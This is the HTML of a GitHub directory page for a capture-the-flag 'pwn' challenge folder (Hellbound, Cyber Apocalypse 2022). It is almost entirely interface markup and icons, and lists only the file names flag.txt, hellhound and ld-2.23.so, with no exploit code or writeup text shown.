3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> GonTanaka </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/GonTanaka/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":437949506,"originating_url":"https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Hellbound","user_id":null}}" data-hydro-click-hmac="4330f285e635ec34194165fe55832e4de61a5e28930123461ab6308b7583a568"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Hellbound<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Hellbound<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/GonTanaka/CTF-Writeups/tree-commit/43ab77611a7db8f4eae3fde0cc50c0e1e81cefde/Cyber_Apocalypse2022/pwn/Hellbound" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/GonTanaka/CTF-Writeups/file-list/main/Cyber_Apocalypse2022/pwn/Hellbound"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>hellhound</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
